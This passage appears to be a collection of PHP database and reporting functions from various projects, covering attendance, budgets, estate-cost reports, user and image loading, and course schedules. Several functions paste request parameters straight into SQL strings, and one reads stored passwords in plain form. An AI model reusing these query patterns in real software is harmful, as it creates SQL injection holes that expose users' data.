static::table('pe_presensidet') . \" pr \n\t\t\t\t\tleft join \" . static::table('ms_pegawai') . \" p on p.idpegawai=pr.idpegawai\n\t\t\t\t\tleft join \" . static::table('ms_unit') . \" u on u.idunit=p.idunit\n\t\t\t\t\tleft join \" . static::table('ms_struktural ') . \" s on s.idjstruktural=p.idjstruktural\n\t\t\t\t\tleft join \" . static::table('ms_jenispeg ') . \" j on j.idjenispegawai=p.idjenispegawai\n\t\t\t\t\twhere pr.tglpresensi between '\" . $last['tglawalhit'] . \"' and '\" . $last['tglakhirhit'] . \"' {$sqljenis} and u.parentunit = $r_unit\";\n if (!empty($i_pegawai))\n $sql .= \" and p.idpegawai not in ($i_pegawai)\";\n\n $sql .=\" group by pr.idpegawai, \" . static::schema . \".f_namalengkap(p.gelardepan,p.namadepan,p.namatengah,p.namabelakang,p.gelarbelakang), p.idjstruktural, jabatanstruktural,p.idjenispegawai,j.jenispegawai\n\t\t\t\t\torder by p.idjenispegawai\";\n\n $rs = $conn->Execute($sql);\n\n $a_data = array();\n while ($row = $rs->FetchRow())\n $a_data[] = $row;\n\n return $a_data;\n }", "public function index()\n {\n $user = $this->user->find(auth()->user()->id, ['*'], ['role', 'unitKerja']);\n\n $condition = function ($query) use($user){\n $query->where('tipe', auth()->user()->status);\n \n if ($user->role->role_name == Role::ROLE_PUSKESMAS){\n $query->where('kode_unit_kerja', $user->unitKerja->kode);\n }\n };\n \n /** RBA */\n $rba = $this->rba->get(['*'], $condition, ['rincianSumberDana']);\n\n $totalRba1 = 0;\n $totalRba221 = 0;\n $totalRba31 = 0;\n\n foreach ($rba as $item) {\n if ($item->getOriginal('kode_rba') == Rba::KODE_RBA_1) {\n $totalRba1 = +$item->rincianSumberDana->sum('nominal');\n } else if ($item->getOriginal('kode_rba') == Rba::KODE_RBA_221) {\n $totalRba221 = +$item->rincianSumberDana->sum('nominal');\n } else if ($item->getOriginal('kode_rba') == Rba::KODE_RBA_31) {\n $totalRba31 = +$item->rincianSumberDana->sum('nominal');\n }\n }\n\n $totalRba = ($totalRba1 + $totalRba31) - $totalRba221; \n $data['total_rba'] = $totalRba;\n\n /** RKA */\n $rka = $this->rka->get(['*'], $condition, ['rincianSumberDana']);\n\n $totalRka1 = 0;\n $totalRka21 = 0;\n $totalRka221 = 0;\n\n foreach ($rka as $item) {\n if ($item->getOriginal('kode_rka') == Rka::KODE_RKA_1) {\n $totalRka1 = +$item->rincianSumberDana->sum('nominal');\n } else if ($item->getOriginal('kode_rka') == Rka::KODE_RKA_21) {\n $totalRka21 = +$item->rincianSumberDana->sum('nominal');\n } else if ($item->getOriginal('kode_rka') == Rka::KODE_RKA_221) {\n $totalRka221 = +$item->rincianSumberDana->sum('nominal');\n }\n }\n\n $totalRka = ($totalRka1 + $totalRka21) - $totalRka221;\n $data['total_rka'] = $totalRka;\n\n return view('admin.index', compact('data'));\n }", "public function reportKebAktivitasPerBa($params = array())\n {\n $where = $select_group = $order_group = \"\";\n $params['uniq_code'] = $this->_global->genFileName();\n \n /* ################################################### generate excel estate cost ################################################### */\n //cari jumlah group report\n $query = \"\n SELECT MAX(LVL) - 1\n FROM (\n SELECT GROUP_CODE, \n CONNECT_BY_ISCYCLE \\\"CYCLE\\\",\n LEVEL as LVL, \n SYS_CONNECT_BY_PATH(GROUP_CODE, '/') \\\"HIRARKI\\\"\n FROM TM_RPT_MAPPING_ACT\n WHERE level > 1\n START WITH GROUP_CODE = '02.00.00.00.00' -- estate cost\n CONNECT BY NOCYCLE PRIOR GROUP_CODE = PARENT_CODE\n )\n \";\n $result['max_group'] = $this->_db->fetchOne($query);\n\n for ($i = 1 ; $i <= $result['max_group'] ; $i++){\n $select_group .= \"\n STRUKTUR_REPORT.GROUP\".str_pad($i,2,'0',STR_PAD_LEFT).\",\n (SELECT DESCRIPTION FROM TM_RPT_GROUP WHERE GROUP_CODE = STRUKTUR_REPORT.GROUP\".str_pad($i,2,'0',STR_PAD_LEFT).\") AS GROUP\".str_pad($i,2,'0',STR_PAD_LEFT).\"_DESC,\n \";\n $order_group .= \"\n STRUKTUR_REPORT.GROUP\".str_pad($i,2,'0',STR_PAD_LEFT).\",\n \";\n }\n \n //filter periode buget\n if($params['budgetperiod'] != ''){\n $where .= \"\n AND to_char(PERIOD_BUDGET,'RRRR') = '\".$params['budgetperiod'].\"'\n \";\n $result['PERIOD'] = $params['budgetperiod'];\n }else{\n $where .= \"\n AND to_char(PERIOD_BUDGET,'DD-MM-RRRR') = '\".$this->_period.\"'\n \";\n $result['PERIOD'] = $this->_period;\n }\n \n //filter region\n if ($params['src_region_code'] != '') {\n $where .= \"\n AND REGION_CODE = '\".$params['src_region_code'].\"'\n \";\n }\n \n //filter BA\n if ($params['key_find'] != '') {\n $where .= \"\n AND BA_CODE = '\".$params['key_find'].\"'\n \";\n }\n \n $query = \"\n SELECT $select_group\n REPORT.*,\n ORG.ESTATE_NAME\n FROM (\n SELECT CASE\n WHEN INSTR(HIRARKI, '/',1, 2) <> 0\n THEN SUBSTR(HIRARKI, INSTR(HIRARKI, '/',1, 2)+1, INSTR(HIRARKI, '/',1, 2) - 2) \n ELSE NULL\n END GROUP01,\n CASE\n WHEN INSTR(HIRARKI, '/',1, 3) <> 0\n THEN SUBSTR(HIRARKI, INSTR(HIRARKI, '/',1, 3)+1, INSTR(HIRARKI, '/',1, 2) - 2)\n ELSE NULL\n END GROUP02,\n CASE\n WHEN INSTR(HIRARKI, '/',1, 4) <> 0\n THEN SUBSTR(HIRARKI, INSTR(HIRARKI, '/',1, 4)+1, INSTR(HIRARKI, '/',1, 2) - 2)\n ELSE NULL\n END GROUP03,\n CASE\n WHEN INSTR(HIRARKI, '/',1, 5) <> 0\n THEN SUBSTR(HIRARKI, INSTR(HIRARKI, '/',1, 5)+1, INSTR(HIRARKI, '/',1, 2) - 2)\n ELSE NULL\n END GROUP04,\n GROUP_CODE\n FROM (\n SELECT TO_CHAR(HIRARKI) AS HIRARKI, \n LVL, \n TO_CHAR(GROUP_CODE) AS GROUP_CODE\n FROM (\n SELECT GROUP_CODE, \n CONNECT_BY_ISCYCLE \\\"CYCLE\\\",\n LEVEL as LVL, \n SYS_CONNECT_BY_PATH(GROUP_CODE, '/') \\\"HIRARKI\\\"\n FROM TM_RPT_MAPPING_ACT\n WHERE level > 1\n START WITH GROUP_CODE = '02.00.00.00.00' -- estate cost\n CONNECT BY NOCYCLE PRIOR GROUP_CODE = PARENT_CODE\n )\n GROUP BY HIRARKI, LVL, GROUP_CODE\n ORDER BY HIRARKI\n )\n ) STRUKTUR_REPORT\n LEFT JOIN TM_RPT_MAPPING_ACT MAPP\n ON STRUKTUR_REPORT.GROUP_CODE = MAPP.GROUP_CODE\n LEFT JOIN ( SELECT *\n FROM ( \n SELECT PERIOD_BUDGET,\n REGION_CODE,\n BA_CODE,\n ACTIVITY_DESC,\n TIPE_TRANSAKSI,\n ACTIVITY_CODE,\n SUB_COST_ELEMENT_DESC,\n COST_ELEMENT,\n SUB_COST_ELEMENT,\n KETERANGAN,\n UOM,\n SUM (QTY_JAN) QTY_JAN,\n SUM (QTY_FEB) QTY_FEB,\n SUM (QTY_MAR) QTY_MAR,\n SUM (QTY_APR) QTY_APR,\n SUM (QTY_MAY) QTY_MAY,\n SUM (QTY_JUN) QTY_JUN,\n SUM (QTY_JUL) QTY_JUL,\n SUM (QTY_AUG) QTY_AUG,\n SUM (QTY_SEP) QTY_SEP,\n SUM (QTY_OCT) QTY_OCT,\n SUM (QTY_NOV) QTY_NOV,\n SUM (QTY_DEC) QTY_DEC,\n SUM (COST_JAN) COST_JAN,\n SUM (COST_FEB) COST_FEB,\n SUM (COST_MAR) COST_MAR,\n SUM (COST_APR) COST_APR,\n SUM (COST_MAY) COST_MAY,\n SUM (COST_JUN) COST_JUN,\n SUM (COST_JUL) COST_JUL,\n SUM (COST_AUG) COST_AUG,\n SUM (COST_SEP) COST_SEP,\n SUM (COST_OCT) COST_OCT,\n SUM (COST_NOV) COST_NOV,\n SUM (COST_DEC) COST_DEC,\n SUM (QTY_SETAHUN) QTY_SETAHUN,\n SUM (COST_SETAHUN) COST_SETAHUN\n FROM TMP_RPT_KEB_EST_COST_BLOCK REPORT\n GROUP BY PERIOD_BUDGET,\n REGION_CODE,\n BA_CODE,\n ACTIVITY_DESC,\n TIPE_TRANSAKSI,\n ACTIVITY_CODE,\n SUB_COST_ELEMENT_DESC,\n COST_ELEMENT,\n SUB_COST_ELEMENT,\n KETERANGAN,\n UOM) ALL_ACT\n WHERE 1 = 1\n $where \n ) REPORT\n ON MAPP.MATURITY_STAGE = REPORT.TIPE_TRANSAKSI\n AND MAPP.ACTIVITY_CODE = REPORT.ACTIVITY_CODE\n AND NVL (MAPP.COST_ELEMENT, 'NA') =\n NVL (REPORT.COST_ELEMENT, 'NA')\n LEFT JOIN TM_ORGANIZATION ORG\n ON ORG.BA_CODE = REPORT.BA_CODE\n WHERE REPORT.ACTIVITY_CODE IS NOT NULL\n ORDER BY REPORT.PERIOD_BUDGET,\n REPORT.BA_CODE,\n $order_group\n REPORT.ACTIVITY_CODE,\n REPORT.COST_ELEMENT,\n REPORT.SUB_COST_ELEMENT_DESC,\n REPORT.KETERANGAN\n \";\n $sql = \"SELECT COUNT(*) FROM ({$query})\";\n $result['count'] = $this->_db->fetchOne($sql);\n $rows = $this->_db->fetchAll(\"{$query}\");\n \n if (!empty($rows)) {\n foreach ($rows as $idx => $row) {\n $result['rows'][] = $row;\n }\n }\n /* ################################################### generate excel kebutuhan aktivitas estate cost (BA) ################################################### */\n \n return $result;\n }", "public function nahrajObrazky(){\t\t\t\n\t\t\t$dotaz = \"SELECT obrazekID,filepath,tabObrazky.uzivatelID,uzivatelJmeno FROM tabObrazky \n\t\t\t\t\tJOIN tabUzivatele ON tabUzivatele.uzivatelID = tabObrazky.uzivatelID WHERE 1 \";\n\t\t\t\n\t\t\t\t//echo \"X \".$dotaz .\" X\";\n\t\t\t\n\t\t\t$vysledek = mysqli_query($this -> pripojeni,$dotaz);\n\t\t\t$vratit = array();\n\t\t\t\n\t\t\tif($vysledek == false){\n\t\t\t\techo(\"During data upload an error occured!\" . mysqli_error($this->pripojeni) );\n\t\t\t}\n\t\telse{\n\t\t\t//case result is mysqli_result\n\t\t\t$pole = $vysledek->fetch_all(MYSQLI_ASSOC);\n\t\t\tforeach($pole as $radek ){\n\t\t\t\t\n\t\t\t\t/*\n\t\t\t\tforeach($radek as $x => $x_value) {\n\t\t\t\t\techo \"Key=\" . $x . \", Value=\" . $x_value;\n\t\t\t\t\techo \"<br>\";\n\t\t\t\t}\n\t\t\t\t*/\n\n\t\t\t\t$obrazekID = $radek[\"obrazekID\"];\n\t\t\t\t$filePath = $radek[\"filepath\"];\n\t\t\t\t$uzivatelID = $radek[\"uzivatelID\"];\n\t\t\t\t$jmenoUzivateleCoNahral = $radek[\"uzivatelJmeno\"];\t\n\t\t\t\t\n\t\t\t\t/*\n\t\t\t\techo $obrazekID;\n\t\t\t\techo $filePath;\n\t\t\t\techo $uzivatelID;\n\t\t\t\t*/\n\t\t\t\t//echo '*'.$jmenoUzivateleCoNahral.'*';\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t$obrazek = new obrazekObjekt($obrazekID, $filePath,$uzivatelID,$jmenoUzivateleCoNahral);\n\t\t\t\t\n\t\t\t\t//echo $obrazek->filePath;\n\t\t\t\t//echo $obrazek->jmenoUzivateleCoNahral;\n\t\t\t\t\n\t\t\t\tarray_push($vratit,$obrazek); \n\t\t\t\t\n\t\t\t\t\n\t\t\t}\n\t\t}\t\n\t\treturn\t$vratit;\t\t\n\t\t\n\t}", "public function get_realisasi_bulanan($thang=\"2011\", $bulan=null, $kddept=null, $kdunit=null, $kdprogram=null, $kdsatker=null)\n {\n\t/*\n\t\tif(isset($bulan)):\n\t\t\t$sql = 'select kddept, kdunit, kdprogram, kdsatker, sum(jmlrealiasi) as jmlrealisasi \n\t\t\t\tfrom r_'.$thang.'_cur \n\t\t\t\twhere year(tgldok1) = '.$thang.' \n\t\t\t\tand month(tgldok1) = '.$bulan.' ';\n\t\t\tif(isset($kddept)):\n\t\t\t\t$sql .= ' and kddept = '.$kddept;\n\t\t\tendif;\n\t\t\tif(isset($kdunit)):\n\t\t\t\t$sql .= ' and kdunit = '.$kdunit;\n\t\t\tendif;\n\t\t\tif(isset($kdprogram)):\n\t\t\t\t$sql .= ' and kdprogram = '.$kdprogram;\n\t\t\tendif;\n\t\t\tif(isset($kdsatker)):\n\t\t\t\t$sql .= ' and kdsatker = '.$kdsatker;\n\t\t\tendif;\n\t\t\t$sql .= ' group by year(tgldok1), month(tgldok1), kddept, kdunit, kdprogram, kdsatker';\n\t\t\treturn $this->db->query($sql);\n\t\tendif;\n\t*/\n\t//edited by Anies (23-01-2012)\n\tif(isset($bulan)):\n\t\t$sql = 'select kddept, kdunit, kdprogram, kdsatker, round(sum(jmlrealiasi)/12) as jmlrealisasi \n\t\t\tfrom r_'.$thang.'_cur\n\t\t\twhere ';\n\t\tif(isset($kddept)):\n\t\t\t$sql .= ' kddept = '.$kddept;\n\t\tendif;\n\t\tif(isset($kdunit)):\n\t\t\t$sql .= ' and kdunit = '.$kdunit;\n\t\tendif;\n\t\tif(isset($kdprogram)):\n\t\t\t$sql .= ' and kdprogram = '.$kdprogram;\n\t\tendif;\n\t\tif(isset($kdsatker)):\n\t\t\t$sql .= ' and kdsatker = '.$kdsatker;\n\t\tendif;\n\t\t$sql .= ' group by kddept, kdunit, kdprogram, kdsatker';\n\t\treturn $this->db->query($sql);\n\tendif;\n }", "public function nahrajUzivatele(){\t\t\t\n\t\t\t$dotaz = \"SELECT uzivatelID,uzivatelJmeno,uzivatelHeslo FROM `tabUzivatele` WHERE 1 \";\n\t\t\t\n\t\t\t\t\t\t\n\t\t\t$vysledek = mysqli_query($this -> pripojeni,$dotaz);\n\t\t\t$vratit = array();\n\t\t\t\n\t\t\tif($vysledek == false){\n\t\t\t\techo(\"Pri nahravani dat nastala chyba!\" . mysqli_error($this->pripojeni) );\n\t\t\t}\n\t\telse{\n\t\t\t//case result is mysqli_result\n\t\t\t$pole = $vysledek->fetch_all(MYSQLI_ASSOC);\n\t\t\tforeach($pole as $radek ){\n\t\t\t\t\n\t\t\t\t/*\n\t\t\t\tforeach($radek as $x => $x_value) {\n\t\t\t\t\techo \"Key=\" . $x . \", Value=\" . $x_value;\n\t\t\t\t\techo \"<br>\";\n\t\t\t\t}\n\t\t\t\t*/\n\n\t\t\t\t$jmeno = $radek[\"uzivatelJmeno\"];\n\t\t\t\t$heslo = $radek[\"uzivatelHeslo\"];\n\t\t\t\t\n\t\t\t\t$uzivatel = new uzivatelObjekt($jmeno,$heslo);\n\t\t\t\t\n\t\t\t\t$uzivatel->uzivatelID = $radek[\"uzivatelID\"];\n\t\t\t\t\n\t\t\t\tarray_push($vratit,$uzivatel); \n\t\t\t\t\n\t\t\t\t\n\t\t\t}\n\t\t}\t\n\t\treturn\t$vratit;\t\t\n\t\t\n\t}", "public function searchBarangALG($params)\n {\n $query = Barang::find()->where('b0001.STATUS <> 3')->andWhere('b0001.PARENT=1 AND KD_CORP=\"ALG\"')->groupBy(['KD_BARANG','KD_CORP','KD_TYPE','KD_KATEGORI']);\n\n $query->joinWith(['unitb' => function ($q) {\n $q->where('ub0001.NM_UNIT LIKE \"%' . $this->unitbrg . '%\"');\n }]);\n\n $dataProvider = new ActiveDataProvider([\n 'query' => $query,\n\t\t\t'pagination' => [\n\t\t\t\t'pageSize' => 20,\n\t\t\t],\n ]);\n\n\t\t $dataProvider->setSort([\n\t\t\t'attributes' => [\n 'KD_BARANG',\n 'NM_BARANG',\n /* 'nmsuplier' => [\n \t\t\t\t'asc' => ['d0001.NM_DISTRIBUTOR' => SORT_ASC],\n \t\t\t\t'desc' => ['d0001.NM_DISTRIBUTOR' => SORT_DESC],\n \t\t\t\t'label' => 'Supplier',\n \t\t\t], */\n\n 'unitbrg' => [\n 'asc' => ['ub0001.NM_UNIT' => SORT_ASC],\n 'desc' => ['ub0001.NM_UNIT' => SORT_DESC],\n 'label' => 'Unit Barang',\n ],\n\n 'tipebrg' => [\n 'asc' => ['dbc002.b1001.NM_TYPE' => SORT_ASC],\n 'desc' => ['dbc002.b1001.NM_TYPE' => SORT_DESC],\n 'label' => 'Tipe Barang',\n ],\n\n \t\t\t'nmkategori' => [\n \t\t\t\t'asc' => ['b1002.NM_KATEGORI' => SORT_ASC],\n \t\t\t\t'desc' => ['b1002.NM_KATEGORI' => SORT_DESC],\n \t\t\t\t'label' => 'Kategori',\n \t\t\t],\n\n\t\t\t]\n\t\t]);\n\n\t\tif (!($this->load($params) && $this->validate())) {\n\t\t\t/**\n\t\t\t * The following line will allow eager loading with country data\n\t\t\t * to enable sorting by country on initial loading of the grid.\n\t\t\t */\n\t\t\treturn $dataProvider;\n\t\t}\n\n $query->andFilterWhere(['like', 'b0001.STATUS', $this->STATUS])\n ->andFilterWhere(['like', 'NM_BARANG', $this->NM_BARANG])\n ->andFilterWhere(['like', 'b0001.KD_BARANG', $this->KD_BARANG])\n\t\t\t//->andFilterWhere(['like', 'b0001.KD_CORP', $this->nmcorp])\n\t\t\t->andFilterWhere(['like', 'b0001.KD_TYPE', $this->tipebrg])\n\t\t\t->andFilterWhere(['like', 'b0001.KD_KATEGORI', $this->nmkategori]);\n return $dataProvider;\n }", "public function tampil_data_blok()\n {\n \t$this->db->from('blok as b');\n \t$this->db->join('kawasan as k', 'k.id_kawasan = b.id_kawasan', 'inner');\n\n \treturn $this->db->get();\n }", "public function findBatiments($language) {\r\n $select = $this->_createSelectQuery();\r\n // batiment\r\n $select->field('id', $this->_tableName);\r\n $select->field('nom_' . $language, $this->_tableName, 'nom');\r\n $select->field('description_' . $language, $this->_tableName, 'description');\r\n $select->field('image', $this->_tableName);\r\n $select->field('niveau', $this->_tableName);\r\n $select->field('cout', $this->_tableName);\r\n $select->field('entretien', $this->_tableName);\r\n $select->field('duree_construction', $this->_tableName);\r\n $select->field('duree_recolte', $this->_tableName);\r\n $select->field('duree_hospitalisation', $this->_tableName);\r\n $select->field('cout_hospitalisation', $this->_tableName);\r\n $select->field('gain', $this->_tableName);\r\n $select->field('capacite', $this->_tableName);\r\n $select->field('visibilite', $this->_tableName);\r\n $select->field('id_prev', $this->_tableName);\r\n // Batiment Suivant\r\n $select->field('id', 'batiment_suivant', 'id_next');\r\n // type_batiment 1\r\n $select->field('id', 'type1_batiment', 'id_type1');\r\n $select->field('id_parent', 'type1_batiment', 'id_parent_type1');\r\n $select->field('nom_' . $language, 'type1_batiment', 'nom_type1');\r\n $select->field('is_unique', 'type1_batiment', 'is_unique_type1');\r\n // type_batiment 2\r\n $select->field('id', 'type2_batiment', 'id_type2');\r\n $select->field('id_parent', 'type2_batiment', 'id_parent_type2');\r\n $select->field('nom_' . $language, 'type2_batiment', 'nom_type2');\r\n $select->field('is_unique', 'type2_batiment', 'is_unique_type2');\r\n // From et jointures\r\n $select->from($this->_tableName);\r\n $select->innerJoin('type_batiment', array('batiment.id_type = type1_batiment.id'), 'type1_batiment');\r\n $select->leftJoin('type_batiment', array('type1_batiment.id_parent = type2_batiment.id'), 'type2_batiment');\r\n $select->leftJoin('batiment', array('batiment_suivant.id_prev = batiment.id'), 'batiment_suivant');\r\n // Ordre\r\n $select->order('batiment.niveau');\r\n\r\n return $this->_mapper->buildObjectsFromRows($this->_selectAll($select));\r\n }", "function getDataPeriode($conn,$periode,$kurikulum,$kodeunit,$padanan=false,$kelasmk='',$infoMhs=array()) {\n\t\t\t$mhs = Akademik::isMhs();\n\t\t\t$dosen = Akademik::isDosen();\n\t\t\t$admin = Akademik::isAdmin();\n\t\t\t\n\t\t\tif($infoMhs) {\n\t\t\t\tif ($infoMhs['sistemkuliah'] == \"R\") {\n\t\t\t\t\t$basis = \"and k.sistemkuliah = 'R'\";\n\t\t\t\t}\n\t\t\t\t//$basis = $infoMhs['sistemkuliah'];\n\t\t\t\t$transfer = $infoMhs['mhstransfer'];\n\t\t\t\t$angkatan = $infoMhs['periodemasuk'];\n\t\t\t\t$semesterkrs = $infoMhs['semesterkrs'];\n\t\t\t}\n\t\t\t\n\t\t\tif($mhs and !$transfer) {\n\t\t\t\t$ceksmt = true;\n\t\t\t\tif($semesterkrs%2 == 0)\n\t\t\t\t\t$batasan = ' and c.semmk%2 = 0'; // untuk genap\n\t\t\t\telse\n\t\t\t\t\t$batasan = ' and c.semmk%2 <> 0'; // untuk ganjil\n\t\t\t}\n\t\t\telse {\n\t\t\t\t$ceksmt = false;\n\t\t\t\t$batasan = '';\n\t\t\t}\n\t\t\t\n\t\t\t/* $sql = \"select distinct k.thnkurikulum, k.kodemk, k.kodeunit, k.kelasmk, c.namamk, c.sks, c.semmk,c.semmk_old, k.koderuang,\n\t\t\t\t\t\tk.nohari, k.jammulai, k.jamselesai, \n\t\t\t\t\t\tk.nohari2, k.jammulai2, k.jamselesai2,\n\t\t\t\t\t\tk.nohari3, k.jammulai3, k.jamselesai3,\n\t\t\t\t\t\tk.nohari4, k.jammulai4, k.jamselesai4,\n\t\t\t\t\t\tk.dayatampung,k.jumlahpeserta\n\t\t\t\t\tfrom \".static::table().\" k join \".static::table('ak_kurikulum').\" c using (thnkurikulum,kodemk,kodeunit)\n\t\t\t\t\tleft join \".static::table('ak_ekivaturan').\" e on e.tahunkurikulumbaru = k.thnkurikulum and e.kodemkbaru = k.kodemk\n\t\t\t\t\t\tand e.kodeunitbaru = k.kodeunit and e.thnkurikulum = '$kurikulum'\n\t\t\t\t\twhere k.kodeunit = '$kodeunit' and \n\t\t\t\t\t\tk.periode = '$periode' and (k.thnkurikulum = '$kurikulum'\".\n\t\t\t\t\t\t($padanan ? \" or e.kodemkbaru is not null\" : '').\")\".(!empty($kelasmk)?\" and k.kelasmk='$kelasmk'\":\"\").\n\t\t\t\t\t\t(($mhs or $dosen)?\" and k.sistemkuliah='$basis'\" :'').($ceksmt?\" and c.semmk<=$semesterkrs\" :'').\" $batasan\n\t\t\t\t\tunion\n\t\t\t\t\tselect distinct k.thnkurikulum, k.kodemk, kl.kodeunit, k.kelasmk, c.namamk, c.sks, c.semmk,c.semmk_old, kl.koderuang, \n\t\t\t\t\t\tkl.nohari, kl.jammulai,kl.jamselesai, \n\t\t\t\t\t\tkl.nohari2, kl.jammulai2, kl.jamselesai2,\n\t\t\t\t\t\tkl.nohari3, kl.jammulai3, kl.jamselesai3,\n\t\t\t\t\t\tkl.nohari4, kl.jammulai4, kl.jamselesai4,\n\t\t\t\t\t\tkl.dayatampung,kl.jumlahpeserta \n\t\t\t\t\tfrom \".static::table('ak_pesertamku').\" k \n\t\t\t\t\tjoin \".static::table().\" kl using (kodeunit,periode,thnkurikulum,kodemk,kelasmk)\n\t\t\t\t\tjoin \".static::table('ak_kurikulum').\" c on c.thnkurikulum=k.thnkurikulum and c.kodemk=k.kodemk and c.kodeunit=k.unitmku \n\t\t\t\t\twhere k.unitmku='$kodeunit' and k.periode = '$periode' and k.thnkurikulum = '$kurikulum' \".\n\t\t\t\t\t(($mhs or $dosen)?\" and kl.sistemkuliah='$basis'\" :'').($ceksmt?\" and c.semmk<=$semesterkrs\" :\"\").(!empty($kelasmk)?\" and kl.kelasmk='$kelasmk'\":\"\").\" $batasan\n\t\t\t\t\torder by namamk, kelasmk\"; */\n\t\t\t\n\t\t\t// cek: ekivalensi\n\t\t\t$sql = \"select k.thnkurikulum, k.kodemk, k.kodeunit, k.kelasmk, c.namamk, c.sks, c.semmk, c.semmk_old, k.koderuang,\n\t\t\t\t\tk.nohari, k.jammulai, k.jamselesai, \n\t\t\t\t\tk.nohari2, k.jammulai2, k.jamselesai2,\n\t\t\t\t\tk.nohari3, k.jammulai3, k.jamselesai3,\n\t\t\t\t\tk.nohari4, k.jammulai4, k.jamselesai4,\n\t\t\t\t\tk.dayatampung, k.jumlahpeserta\n\t\t\t\t\tfrom \".static::table().\" k\n\t\t\t\t\tjoin \".static::table('ak_kurikulum').\" c using (thnkurikulum,kodemk,kodeunit)\n\t\t\t\t\tleft join \".static::table('ak_pesertamku').\" p using (kodeunit,periode,thnkurikulum,kodemk,kelasmk)\n\t\t\t\t\twhere (p.unitmku = \".Query::escape($kodeunit).\" or p.unitmku is null) and (k.kodeunit = \".Query::escape($kodeunit).\" or p.unitmku is not null)\n\t\t\t\t\tand k.periode = \".Query::escape($periode).\" and k.thnkurikulum = \".Query::escape($kurikulum).\"\n\t\t\t\t\t\".(empty($kelasmk) ? '' : \" and k.kelasmk = \".Query::escape($kelasmk)).\"\t\t\t\n\t\t\t\t\t\".(($mhs or $dosen) ? $basis : '').\"\n\n\t\t\t\t\torder by c.namamk, k.kelasmk\";\n\t\t\t\n\t\t\treturn $conn->GetArray($sql);\n\t\t}", "public function reportKebAktivitasDevPerBa($params = array())\n {\n $where = $select_group = $order_group = \"\";\n $params['uniq_code'] = $this->_global->genFileName();\n \n /* ################################################### generate excel development cost ################################################### */\n //cari jumlah group report\n $query = \"\n SELECT MAX(LVL) - 1\n FROM (\n SELECT GROUP_CODE, \n CONNECT_BY_ISCYCLE \\\"CYCLE\\\",\n LEVEL as LVL, \n SYS_CONNECT_BY_PATH(GROUP_CODE, '/') \\\"HIRARKI\\\"\n FROM TM_RPT_MAPPING_ACT\n WHERE level > 1\n START WITH GROUP_CODE = '01.00.00.00.00' -- development cost\n CONNECT BY NOCYCLE PRIOR GROUP_CODE = PARENT_CODE\n )\n \";\n $result['max_group'] = $this->_db->fetchOne($query);\n\n for ($i = 1 ; $i <= $result['max_group'] ; $i++){\n $select_group .= \"\n STRUKTUR_REPORT.GROUP\".str_pad($i,2,'0',STR_PAD_LEFT).\",\n (SELECT DESCRIPTION FROM TM_RPT_GROUP WHERE GROUP_CODE = STRUKTUR_REPORT.GROUP\".str_pad($i,2,'0',STR_PAD_LEFT).\") AS GROUP\".str_pad($i,2,'0',STR_PAD_LEFT).\"_DESC,\n \";\n $order_group .= \"\n STRUKTUR_REPORT.GROUP\".str_pad($i,2,'0',STR_PAD_LEFT).\",\n \";\n }\n \n //filter periode buget\n if($params['budgetperiod'] != ''){\n $where .= \"\n AND to_char(PERIOD_BUDGET,'RRRR') = '\".$params['budgetperiod'].\"'\n \";\n $result['PERIOD'] = $params['budgetperiod'];\n }else{\n $where .= \"\n AND to_char(PERIOD_BUDGET,'DD-MM-RRRR') = '\".$this->_period.\"'\n \";\n $result['PERIOD'] = $this->_period;\n }\n \n //filter region\n if ($params['src_region_code'] != '') {\n $where .= \"\n AND REGION_CODE = '\".$params['src_region_code'].\"'\n \";\n }\n \n //filter BA\n if ($params['key_find'] != '') {\n $where .= \"\n AND BA_CODE = '\".$params['key_find'].\"'\n \";\n }\n \n $query = \"\n SELECT $select_group\n REPORT.*,\n ORG.ESTATE_NAME\n FROM (\n SELECT CASE\n WHEN INSTR(HIRARKI, '/',1, 2) <> 0\n THEN SUBSTR(HIRARKI, INSTR(HIRARKI, '/',1, 2)+1, INSTR(HIRARKI, '/',1, 2) - 2) \n ELSE NULL\n END GROUP01,\n CASE\n WHEN INSTR(HIRARKI, '/',1, 3) <> 0\n THEN SUBSTR(HIRARKI, INSTR(HIRARKI, '/',1, 3)+1, INSTR(HIRARKI, '/',1, 2) - 2)\n ELSE NULL\n END GROUP02,\n CASE\n WHEN INSTR(HIRARKI, '/',1, 4) <> 0\n THEN SUBSTR(HIRARKI, INSTR(HIRARKI, '/',1, 4)+1, INSTR(HIRARKI, '/',1, 2) - 2)\n ELSE NULL\n END GROUP03,\n CASE\n WHEN INSTR(HIRARKI, '/',1, 5) <> 0\n THEN SUBSTR(HIRARKI, INSTR(HIRARKI, '/',1, 5)+1, INSTR(HIRARKI, '/',1, 2) - 2)\n ELSE NULL\n END GROUP04,\n GROUP_CODE\n FROM (\n SELECT TO_CHAR(HIRARKI) AS HIRARKI, \n LVL, \n TO_CHAR(GROUP_CODE) AS GROUP_CODE\n FROM (\n SELECT GROUP_CODE, \n CONNECT_BY_ISCYCLE \\\"CYCLE\\\",\n LEVEL as LVL, \n SYS_CONNECT_BY_PATH(GROUP_CODE, '/') \\\"HIRARKI\\\"\n FROM TM_RPT_MAPPING_ACT\n WHERE level > 1\n START WITH GROUP_CODE = '01.00.00.00.00' -- development cost\n CONNECT BY NOCYCLE PRIOR GROUP_CODE = PARENT_CODE\n )\n GROUP BY HIRARKI, LVL, GROUP_CODE\n ORDER BY HIRARKI\n )\n ) STRUKTUR_REPORT\n LEFT JOIN TM_RPT_MAPPING_ACT MAPP\n ON STRUKTUR_REPORT.GROUP_CODE = MAPP.GROUP_CODE\n LEFT JOIN ( SELECT *\n FROM ( \n SELECT PERIOD_BUDGET,\n REGION_CODE,\n BA_CODE,\n ACTIVITY_DESC,\n TIPE_TRANSAKSI,\n ACTIVITY_CODE,\n SUB_COST_ELEMENT_DESC,\n COST_ELEMENT,\n SUB_COST_ELEMENT,\n KETERANGAN,\n UOM,\n SUM (QTY_JAN) QTY_JAN,\n SUM (QTY_FEB) QTY_FEB,\n SUM (QTY_MAR) QTY_MAR,\n SUM (QTY_APR) QTY_APR,\n SUM (QTY_MAY) QTY_MAY,\n SUM (QTY_JUN) QTY_JUN,\n SUM (QTY_JUL) QTY_JUL,\n SUM (QTY_AUG) QTY_AUG,\n SUM (QTY_SEP) QTY_SEP,\n SUM (QTY_OCT) QTY_OCT,\n SUM (QTY_NOV) QTY_NOV,\n SUM (QTY_DEC) QTY_DEC,\n SUM (COST_JAN) COST_JAN,\n SUM (COST_FEB) COST_FEB,\n SUM (COST_MAR) COST_MAR,\n SUM (COST_APR) COST_APR,\n SUM (COST_MAY) COST_MAY,\n SUM (COST_JUN) COST_JUN,\n SUM 